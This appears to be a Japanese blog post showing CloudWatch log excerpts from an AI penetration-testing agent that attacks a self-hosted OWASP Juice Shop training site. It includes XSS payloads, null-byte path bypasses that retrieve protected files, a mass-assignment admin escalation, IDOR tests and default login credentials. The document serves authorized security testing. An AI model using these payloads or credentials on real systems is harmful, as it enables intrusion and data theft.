AWS Security Agent のペネトレーションテスト実行ログを CloudWatch Logs で確認してみた

/aws/securityagent/{agent-space名}/{pentest-id}

{
  "response": {
    "content": [
      {
        "type": "text",
        "text": "I'll conduct a comprehensive privilege escalation security assessment on the target application. Let me start by exploring the application structure and authentication mechanisms."
      },
      {
        "type": "tool_use",
        "name": "bash",
        "input": {"command": "curl -s -I http://hogejuiceshop.tak1wa.com/ 2>&1 | head -50"}
      },
      {
        "type": "tool_use",
        "name": "bash",
        "input": {"command": "curl -s http://hogejuiceshop.tak1wa.com/ 2>&1 | head -100"}
      }
    ]
  }
}

### Reconnaissance
- Identified the target as OWASP Juice Shop (Express 4.22.1 backend, Angular frontend)
- Extracted 33 API/REST endpoint paths from the main.js bundle
- Two primary API namespaces discovered: /api/ (Sequelize REST) and /rest/ (custom routes)

### Authentication Baseline
- Successfully authenticated as admin@juice-sh.op using default credentials
- Registered a test customer account (testuser@test.com) to establish a low-privilege baseline
- Confirmed JWT tokens use RS256 algorithm and embed full user data including role in the payload

### Vulnerabilities Found

#### Critical — Vertical Privilege Escalation via Mass Assignment (CVSS 9.1)
Endpoint: POST /api/Users

The user registration endpoint passes the raw request body directly to the ORM's create() method
without field whitelisting. By including "role":"admin" in the registration JSON, an unauthenticated
attacker can create an account with full admin privileges.

### Key Discovery in Source Code
Analyzing main.js revealed 13 uses of DomSanitizer.bypassSecurityTrustHtml(),
which disables Angular's built-in XSS protection. One critical instance was:

this.searchValue = this.sanitizer.bypassSecurityTrustHtml(e)

This directly renders the raw search query value into the DOM.

### XSS Exploitation
Target endpoint: /#/search?q=<PAYLOAD>

Payload 1 — img onerror:
/#/search?q=<img src=x onerror=window._xssTest=1>
- JavaScript execution confirmed: window._xssTest === 1 after page load

Payload 2 — iframe javascript: protocol:
/#/search?q=<iframe src="javascript:window._xssIframe=document.domain">
- iframe.contentDocument.body.innerHTML = hogejuiceshop.tak1wa.com

Cookie Access Confirmed:
- document.cookie returned live session cookies

### Testing Approach
I followed a progressive path traversal methodology:
1. Baseline establishment — confirmed normal file access on .md files
2. Extension filter testing — confirmed the /ftp/ endpoint blocks non-.md/.pdf files with HTTP 403
3. Null byte injection — tested %2500 (double URL-encoded null byte) as an extension filter bypass
4. Directory traversal — tested ../ sequences and various encodings to escape the /ftp/ directory
5. Authenticated testing — registered a test user, obtained JWT tokens, and tested authenticated endpoints

### Vulnerability Confirmed: Null Byte Injection on /ftp/ Endpoint

Confirmed exploits:
| Payload | HTTP Status | File Served |
|---------|------------|-------------|
| GET /ftp/package.json.bak | 403 | Blocked |
| GET /ftp/package.json.bak%2500.md | 200 | Full file contents |
| GET /ftp/incident-support.kdbx%2500.md | 200 | KeePass database (3246 bytes) |
| GET /ftp/suspicious_errors.yml%2500.md | 200 | YAML config (723 bytes) |
| GET /ftp/coupons_2013.md.bak%2500.md | 200 | Encrypted coupon data (131 bytes) |
| GET /ftp/encrypt.pyc%2500.md | 200 | Python bytecode (573 bytes) |

Scope limitation: Directory traversal (../) to escape /ftp/ was blocked by a separate
ForbiddenError guard in the application, so the vulnerability is confined to files within
the /ftp/ directory only.

### Authentication
I authenticated with default admin credentials (admin@juice-sh.op / admin123) to obtain an admin JWT token,
then authenticated as a regular customer (jim@juice-sh.op / ncc-1701) to obtain a non-privileged user token.

### IDOR Testing - Basket Endpoint
| Requested Basket ID | Owner UserId | Owner Account | Result |
|---|---|---|---|
| 2 | 2 | jim@juice-sh.op | ✅ Legitimate |
| 1 | 1 | admin@juice-sh.op | ❌ IDOR |
| 3 | 3 | bender@juice-sh.op | ❌ IDOR |
| 4 | 11 | amy@juice-sh.op | ❌ IDOR |
| 5 | 16 | uvogin@juice-sh.op | ❌ IDOR |

### Key Pitfall Noted
During loop-based testing of multiple basket IDs, I did not include delays between requests.
This was flagged as a violation of responsible request rate guidelines.
Subsequent testing should include sleep 0.5 between loop iterations.

import subprocess
import json

base_url = "http://hogejuiceshop.tak1wa.com"

result = subprocess.run(['curl', '-s', '-X', 'POST', base_url + '/rest/user/login',
                        '-H', 'Content-Type: application/json',
                        '-d', '{"email":"admin@juice-sh.op","password":"admin123"}',
                        '--max-time', '15'],
                       capture_output=True, text=True, timeout=20)
login_data = json.loads(result.stdout)
token = login_data['authentication']['token']

{
  "type": "tool_use",
  "name": "AgentAlertReport",
  "input": {
    "risks": [
      {
        "risk_type": "PRIVILEGE_ESCALATION",
        "name": "Vertical Privilege Escalation via Mass Assignment on User Registration",
        "description": "The user registration endpoint POST /api/Users is vulnerable to mass assignment...",
        "evidence": "Step 1 - Send registration request with injected role field:\n\nPOST /api/Users HTTP/1.1\n...",
        "endpoint": "http://hogejuiceshop.tak1wa.com/api/Users",
        "http_request": "POST /api/Users HTTP/1.1\nHost: hogejuiceshop.tak1wa.com\n...",
        "input_vector": "JSON request body field 'role' in POST /api/Users registration request"
      },
      {
        "risk_type": "INSECURE_DIRECT_OBJECT_REFERENCE",
        "name": "IDOR - Any Authenticated User Can Access Any Other User's Profile Data",
        "description": "The GET /api/Users/{id} endpoint does not enforce any ownership or role-based access control checks...",
        "evidence": "Step 1 - Login as regular customer user...",
        "endpoint": "http://hogejuiceshop.tak1wa.com/api/Users/1",
        "http_request": "GET /api/Users/1 HTTP/1.1\n...",
        "input_vector": "URL path parameter {id} in GET /api/Users/{id}"
      }
    ]
  }
}